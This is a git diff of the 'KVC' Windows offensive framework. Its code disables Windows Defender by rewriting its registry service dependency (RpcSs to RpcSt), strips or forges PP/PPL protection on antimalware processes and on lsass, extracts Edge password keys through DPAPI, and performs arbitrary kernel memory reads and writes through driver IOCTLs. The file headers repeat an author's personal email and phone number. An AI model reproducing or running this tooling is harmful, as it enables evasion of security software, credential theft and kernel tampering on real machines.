static std::vector<std::wstring> ReadMultiString(HKEY key, const std::wstring& valueName) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Writes string vector to REG_MULTI_SZ registry value
|
||||
*
|
||||
* @param key Open registry key handle
|
||||
* @param valueName Name of REG_MULTI_SZ value to write
|
||||
* @param values Vector of strings to write
|
||||
* @return bool true if write successful, false on failure
|
||||
*
|
||||
* @note Properly formats with double null terminator
|
||||
*/
|
||||
static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector<std::wstring>& values) noexcept;
|
||||
static std::wstring GetSystemTempPath() noexcept;
|
||||
static bool ValidateWriteAccess(const std::wstring& path) noexcept;
|
||||
|
||||
// Privilege management
|
||||
static bool EnablePrivilege(const wchar_t* privilege) noexcept;
|
||||
|
||||
// Constants
|
||||
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend";
|
||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt";
|
||||
// Registry constants
|
||||
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend"; ///< Windows Defender service key
|
||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services"; ///< Windows Services root key
|
||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService"; ///< Service dependency value name
|
||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs"; ///< Active RPC service (enables Defender)
|
||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt"; ///< Inactive RPC stub (disables Defender)
|
||||
};
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
|
||||
// Implements orchestrator-side password key extraction using Windows DPAPI
|
||||
#include "EdgeDPAPI.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include <windows.h>
|
||||
#include "HelpSystem.h"
|
||||
#include <iostream>
|
||||
@@ -137,16 +112,16 @@ void HelpSystem::PrintProtectionCommands() noexcept
|
||||
PrintSectionHeader(L"Process Protection Commands");
|
||||
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
|
||||
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
|
||||
PrintCommandLine(L"unprotect Antimalware", L"Remove protection from all Antimalware-signed processes");
|
||||
PrintCommandLine(L"unprotect WinTcb", L"Remove protection from all WinTcb-signed processes");
|
||||
PrintCommandLine(L"list-signer Antimalware", L"List all processes signed by Antimalware");
|
||||
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
|
||||
PrintCommandLine(L"unprotect <PID|process_name|SIGNER>", L"Remove protection from process(es)");
|
||||
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
|
||||
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
|
||||
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
||||
PrintCommandLine(L"set-signer <SIGNER> <PP|PPL> <NEW_SIGNER>", L"Batch modify protection for all processes of specific signer");
|
||||
PrintCommandLine(L"list-signer <SIGNER>", L"List all processes with specific signer");
|
||||
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
||||
PrintCommandLine(L"restore all", L"Restore all saved protection states");
|
||||
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
|
||||
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
|
||||
PrintNote(L"SIGNER can be: Antimalware, WinTcb, Windows, Lsa, WinSystem, etc.");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
@@ -353,6 +328,8 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
|
||||
printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
||||
printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
|
||||
printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
|
||||
printLine(L"kvc set-signer Antimalware PPL WinTcb", L"Change all Antimalware processes to PPL-WinTcb");
|
||||
printLine(L"kvc set-signer Windows PP Antimalware", L"Escalate all Windows processes to PP-Antimalware");
|
||||
|
||||
// Session state management
|
||||
printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// HiveManager.cpp
|
||||
#include "HiveManager.h"
|
||||
#include "common.h"
|
||||
@@ -168,30 +143,17 @@ void HiveManager::ResetStats()
|
||||
m_lastStats = BackupStats{};
|
||||
}
|
||||
|
||||
std::wstring HiveManager::GetTimestamp()
|
||||
{
|
||||
auto now = std::chrono::system_clock::now();
|
||||
auto time = std::chrono::system_clock::to_time_t(now);
|
||||
|
||||
std::tm tm;
|
||||
localtime_s(&tm, &time);
|
||||
|
||||
std::wstringstream ss;
|
||||
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
fs::path HiveManager::GenerateDefaultBackupPath()
|
||||
{
|
||||
wchar_t downloadsPath[MAX_PATH];
|
||||
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
|
||||
fs::path basePath = fs::path(downloadsPath) / L"Downloads";
|
||||
std::wstring folderName = L"Registry_Backup_" + GetTimestamp();
|
||||
std::wstring folderName = L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file");
|
||||
return basePath / folderName;
|
||||
}
|
||||
|
||||
// Fallback to temp if Downloads not found
|
||||
return fs::temp_directory_path() / (L"Registry_Backup_" + GetTimestamp());
|
||||
return fs::temp_directory_path() / (L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||
}
|
||||
|
||||
bool HiveManager::ValidateBackupDirectory(const fs::path& path)
|
||||
@@ -652,7 +614,7 @@ bool HiveManager::Defrag(const std::wstring& tempPath)
|
||||
// Generate temp backup path BEFORE any elevation (to get real user temp)
|
||||
fs::path defragPath;
|
||||
if (tempPath.empty()) {
|
||||
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + GetTimestamp());
|
||||
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||
}
|
||||
else {
|
||||
defragPath = tempPath;
|
||||
|
||||
@@ -51,7 +51,6 @@ private:
|
||||
bool PromptYesNo(const wchar_t* question);
|
||||
|
||||
fs::path GenerateDefaultBackupPath();
|
||||
std::wstring GetTimestamp();
|
||||
std::wstring GetCurrentUserSid();
|
||||
std::wstring GetCurrentUsername();
|
||||
fs::path GetHivePhysicalPath(const std::wstring& hiveName);
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// InjectionEngine.cpp - Low-level PE injection and execution
|
||||
#include "InjectionEngine.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "KeyboardHook.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "common.h"
|
||||
|
||||
1697
kvc/Kvc.cpp
1697
kvc/Kvc.cpp
File diff suppressed because it is too large
Load Diff
@@ -139,15 +139,17 @@
|
||||
<ClInclude Include="OffsetFinder.h" />
|
||||
<ClInclude Include="kvcDrv.h" />
|
||||
<ClInclude Include="Utils.h" />
|
||||
<ClCompile Include="HiveManager.h" />
|
||||
<ClInclude Include="ReportExporter.h" />
|
||||
<ClCompile Include="SessionManager.h" />
|
||||
<ClInclude Include="ServiceManager.h" />
|
||||
<ClInclude Include="KeyboardHook.h" />
|
||||
<ClInclude Include="HelpSystem.h" />
|
||||
<ClInclude Include="HiveManager.h" />
|
||||
<ClInclude Include="ReportExporter.h" />
|
||||
<ClInclude Include="SessionManager.h" />
|
||||
<ClInclude Include="ServiceManager.h" />
|
||||
<ClInclude Include="KeyboardHook.h" />
|
||||
<ClInclude Include="HelpSystem.h" />
|
||||
<ClInclude Include="DefenderManager.h" />
|
||||
<ClInclude Include="ProcessManager.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="RuntimeStr.asm" />
|
||||
<MASM Include="MmPoolTelemetry.asm" />
|
||||
</ItemGroup>
|
||||
<!-- Resource Files -->
|
||||
<ItemGroup>
|
||||
|
||||
401
kvc/KvcDrv.cpp
401
kvc/KvcDrv.cpp
@@ -1,169 +1,424 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
/**
|
||||
* @file kvcDrv.cpp
|
||||
* @brief KVC kernel driver communication implementation
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Implements low-level IOCTL communication with the KVC kernel driver
|
||||
* for safe memory read/write operations in kernel space.
|
||||
*/
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// KvcDrv.cpp
|
||||
#include "kvcDrv.h"
|
||||
#include "common.h"
|
||||
#include <format>
|
||||
|
||||
// IOCTL command codes for KVC driver communication
|
||||
// ============================================================================
|
||||
// IOCTL COMMAND CODES (DRIVER-SPECIFIC)
|
||||
// ============================================================================
|
||||
|
||||
/** @brief IOCTL code for kernel memory read operations */
|
||||
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
|
||||
|
||||
/** @brief IOCTL code for kernel memory write operations */
|
||||
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
|
||||
|
||||
// ============================================================================
|
||||
// CONSTRUCTION AND DESTRUCTION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Default constructor - initializes empty driver object
|
||||
*/
|
||||
kvc::kvc() = default;
|
||||
|
||||
kvc::~kvc() {
|
||||
/**
|
||||
* @brief Destructor - ensures proper resource cleanup
|
||||
*/
|
||||
kvc::~kvc()
|
||||
{
|
||||
Cleanup();
|
||||
}
|
||||
|
||||
// Force cleanup for atomic driver operations - critical for stability
|
||||
void kvc::Cleanup() noexcept {
|
||||
// ============================================================================
|
||||
// DRIVER CONNECTION MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Cleans up driver resources with proper flushing
|
||||
*
|
||||
* Performs orderly shutdown:
|
||||
* 1. Flushes file buffers to ensure all pending operations complete
|
||||
* 2. Resets smart handle (automatically calls CloseHandle)
|
||||
* 3. Clears device name
|
||||
*
|
||||
* @note Safe to call multiple times - idempotent operation
|
||||
* @note Critical for system stability - prevents hanging IOCTL operations
|
||||
*/
|
||||
void kvc::Cleanup() noexcept
|
||||
{
|
||||
DEBUG(L"kvc::Cleanup() called");
|
||||
|
||||
if (m_deviceHandle) {
|
||||
DEBUG(L"Closing device handle...");
|
||||
// Force the handle to close
|
||||
|
||||
// Flush buffers before closing to prevent data loss
|
||||
FlushFileBuffers(m_deviceHandle.get());
|
||||
m_deviceHandle.reset(); // This should close the handle
|
||||
|
||||
// Reset smart handle - automatically closes via HandleDeleter
|
||||
m_deviceHandle.reset();
|
||||
}
|
||||
|
||||
m_deviceName.clear();
|
||||
DEBUG(L"kvc cleanup completed");
|
||||
}
|
||||
|
||||
bool kvc::IsConnected() const noexcept {
|
||||
/**
|
||||
* @brief Checks if driver connection is active
|
||||
*
|
||||
* @return bool true if device handle is valid and not INVALID_HANDLE_VALUE
|
||||
*/
|
||||
bool kvc::IsConnected() const noexcept
|
||||
{
|
||||
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
// Driver connection establishment with device path
|
||||
bool kvc::Initialize() noexcept {
|
||||
/**
|
||||
* @brief Establishes connection to KVC kernel driver
|
||||
*
|
||||
* Connection sequence:
|
||||
* 1. Checks if already connected (idempotent)
|
||||
* 2. Constructs device name from service name
|
||||
* 3. Initializes dynamic APIs for CreateFileW
|
||||
* 4. Opens device handle with read/write access
|
||||
* 5. Wraps raw handle in smart pointer for RAII
|
||||
*
|
||||
* @return bool true if driver device opened successfully
|
||||
*
|
||||
* @note Does NOT perform test operations - just opens device
|
||||
* @note Silently fails if driver not loaded (expected behavior)
|
||||
* @note Requires dynamic API initialization for CreateFileW
|
||||
*/
|
||||
bool kvc::Initialize() noexcept
|
||||
{
|
||||
// Idempotent check - return early if already connected
|
||||
if (IsConnected()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Construct device name if not set
|
||||
if (m_deviceName.empty()) {
|
||||
m_deviceName = L"\\\\.\\" + GetServiceName();
|
||||
}
|
||||
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
// SIMPLE DEVICE OPEN - without test operations
|
||||
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
|
||||
if (rawHandle == INVALID_HANDLE_VALUE) {
|
||||
return false; // Silently fail - this is normal when the driver is not running
|
||||
// Initialize dynamic APIs (required for CreateFileW pointer)
|
||||
if (!InitDynamicAPIs()) {
|
||||
DEBUG(L"Failed to initialize dynamic APIs");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open driver device with read/write access
|
||||
HANDLE rawHandle = g_pCreateFileW(
|
||||
m_deviceName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, // No sharing
|
||||
nullptr, // Default security
|
||||
OPEN_EXISTING, // Device must exist
|
||||
0, // No special flags
|
||||
nullptr // No template
|
||||
);
|
||||
|
||||
// Silent failure if driver not loaded - this is expected behavior
|
||||
if (rawHandle == INVALID_HANDLE_VALUE) {
|
||||
DEBUG(L"Failed to open driver device: %s (error: %d)",
|
||||
m_deviceName.c_str(), GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wrap raw handle in smart pointer for automatic cleanup
|
||||
m_deviceHandle = UniqueHandle(rawHandle);
|
||||
|
||||
DEBUG(L"Successfully opened driver device: %s", m_deviceName.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
// Memory read operations with type safety
|
||||
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
|
||||
// ============================================================================
|
||||
// MEMORY READ OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Reads 8-bit value from kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<BYTE> Read value or nullopt on failure
|
||||
*
|
||||
* @note Extracts lowest byte from 32-bit read result
|
||||
*/
|
||||
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
return static_cast<BYTE>(value.value() & 0xff);
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<BYTE>(value.value() & 0xFF);
|
||||
}
|
||||
|
||||
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
|
||||
/**
|
||||
* @brief Reads 16-bit value from kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<WORD> Read value or nullopt on failure
|
||||
*
|
||||
* @note Extracts lowest 2 bytes from 32-bit read result
|
||||
*/
|
||||
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
return static_cast<WORD>(value.value() & 0xffff);
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<WORD>(value.value() & 0xFFFF);
|
||||
}
|
||||
|
||||
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
|
||||
/**
|
||||
* @brief Reads 32-bit value from kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||
*
|
||||
* @note Direct call to low-level Read() function
|
||||
*/
|
||||
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept
|
||||
{
|
||||
return Read(address, sizeof(DWORD));
|
||||
}
|
||||
|
||||
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
|
||||
/**
|
||||
* @brief Reads 64-bit value from kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<DWORD64> Read value or nullopt on failure
|
||||
*
|
||||
* @note Performs two 32-bit reads and combines them:
|
||||
* - Low DWORD at address
|
||||
* - High DWORD at address + 4
|
||||
* @note Both reads must succeed for operation to succeed
|
||||
*/
|
||||
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto low = Read32(address);
|
||||
auto high = Read32(address + 4);
|
||||
|
||||
if (!low || !high) return std::nullopt;
|
||||
if (!low || !high) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Combine low and high DWORDs into QWORD
|
||||
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
|
||||
/**
|
||||
* @brief Reads pointer-sized value from kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<ULONG_PTR> Read value or nullopt on failure
|
||||
*
|
||||
* @note Platform-dependent:
|
||||
* - x64: Uses Read64
|
||||
* - x86: Uses Read32
|
||||
*/
|
||||
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept
|
||||
{
|
||||
#ifdef _WIN64
|
||||
auto value = Read64(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<ULONG_PTR>(value.value());
|
||||
#else
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<ULONG_PTR>(value.value());
|
||||
#endif
|
||||
}
|
||||
|
||||
// Memory write operations with type safety
|
||||
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
|
||||
// ============================================================================
|
||||
// MEMORY WRITE OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Writes 8-bit value to kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @warning Kernel memory writes can cause system instability
|
||||
*/
|
||||
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
|
||||
/**
|
||||
* @brief Writes 16-bit value to kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @warning Kernel memory writes can cause system instability
|
||||
*/
|
||||
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
|
||||
/**
|
||||
* @brief Writes 32-bit value to kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @warning Kernel memory writes can cause system instability
|
||||
*/
|
||||
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
|
||||
DWORD low = static_cast<DWORD>(value & 0xffffffff);
|
||||
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
|
||||
/**
|
||||
* @brief Writes 64-bit value to kernel memory
|
||||
*
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @note Performs two 32-bit writes:
|
||||
* - Low DWORD at address
|
||||
* - High DWORD at address + 4
|
||||
* @note Both writes must succeed for operation to succeed
|
||||
*
|
||||
* @warning Kernel memory writes can cause system instability
|
||||
* @warning Non-atomic operation - system may observe partial write
|
||||
*/
|
||||
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept
|
||||
{
|
||||
DWORD low = static_cast<DWORD>(value & 0xFFFFFFFF);
|
||||
DWORD high = static_cast<DWORD>((value >> 32) & 0xFFFFFFFF);
|
||||
|
||||
// Both writes must succeed
|
||||
return Write32(address, low) && Write32(address + 4, high);
|
||||
}
|
||||
|
||||
// Low-level driver communication via IOCTL
|
||||
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
|
||||
// ============================================================================
|
||||
// LOW-LEVEL IOCTL COMMUNICATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Low-level kernel memory read via IOCTL
|
||||
*
|
||||
* Communication sequence:
|
||||
* 1. Ensures driver connection is initialized
|
||||
* 2. Constructs RTC_MEMORY_READ request structure
|
||||
* 3. Sends IOCTL_MEMORY_READ command to driver
|
||||
* 4. Extracts returned value from response
|
||||
*
|
||||
* @param address Kernel address to read from
|
||||
* @param valueSize Size of value to read (1/2/4 bytes)
|
||||
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||
*
|
||||
* @note Uses aligned structure for IOCTL communication
|
||||
* @note Driver returns value in response structure
|
||||
*/
|
||||
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept
|
||||
{
|
||||
// Construct read request with proper alignment
|
||||
RTC_MEMORY_READ memoryRead{};
|
||||
memoryRead.Address = address;
|
||||
memoryRead.Size = valueSize;
|
||||
|
||||
if (!Initialize()) return std::nullopt;
|
||||
// Ensure driver connection
|
||||
if (!Initialize()) {
|
||||
DEBUG(L"Driver not initialized for read operation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
|
||||
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
|
||||
|
||||
// Send IOCTL to driver
|
||||
BOOL result = DeviceIoControl(
|
||||
m_deviceHandle.get(), // Device handle
|
||||
RTC_IOCTL_MEMORY_READ, // IOCTL code
|
||||
&memoryRead, // Input buffer
|
||||
sizeof(memoryRead), // Input size
|
||||
&memoryRead, // Output buffer (in-place)
|
||||
sizeof(memoryRead), // Output size
|
||||
&bytesReturned, // Bytes returned
|
||||
nullptr // No overlapped I/O
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
DEBUG(L"DeviceIoControl failed for read at 0x%llx: %d",
|
||||
address, GetLastError());
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
